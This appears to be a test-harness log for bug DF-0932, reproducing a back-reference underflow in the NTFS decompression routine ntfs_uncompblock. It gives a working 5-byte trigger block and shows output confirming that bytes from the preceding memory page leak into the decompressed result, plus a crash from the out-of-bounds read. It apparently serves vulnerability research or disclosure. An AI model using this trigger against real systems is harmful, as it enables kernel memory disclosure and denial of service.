DF-0932 / harness.log
=== DF-0932 ntfs_uncompblock back-ref underflow harness === [harness] transcribes sys/vfs/ntfs/ntfs_compr.c:46-93 line-for-line [harness] trigger block (5 bytes): 02 80 01 00 F0 [harness] header 0x8002: compressed, len=2 (block payload = 5 B) [harness] tag 0x01: bit0=1 -> first sub-token is a back-ref [harness] token 0xF000: at pos=0 dshift=12 lmask=0xFFF -> [harness] boff = -1 - (0xF000>>12) = -16 [harness] blen = 3 + (0xF000 & 0xFFF) = 3 [harness] inner copy reads buf[-16..-14] into buf[0..2] --- variant 1: preceding page = sentinel 'HEAPUNDERFLOW!01' --- [harness] ntfs_uncompblock returned 5 [harness] buf[0..7] after decompression: 48 45 41 48 45 41 50 55 ascii: HEAHEAPU [harness] buf[-16..-1] (sentinel / slab neighbour): 48 45 41 50 55 4E 44 45 52 46 4C 4F 57 21 30 31 ascii: HEAPUNDERFLOW!01 [harness] LEAK CONFIRMED: buf[0..2] == bytes from buf[-16..-14] [harness] (the page PRECEDING the buf allocation). The back-ref [harness] underflow read attacker-invisible memory and the leaked [harness] bytes are now visible in the decompressed output. --- variant 2: preceding page PROT_NONE (true underflow) --- [harness] SIGSEGV caught: buf[pos+boff] with pos=0, boff=-16 [harness] dereferenced buf[-16] which lives in the PROT_NONE [harness] page PRECEDING the buf allocation. This is the [harness] exact byte range a kernel slab neighbour occupies [harness] on the live kernel (M_NTFSDECOMP kmalloc-4096+ bucket).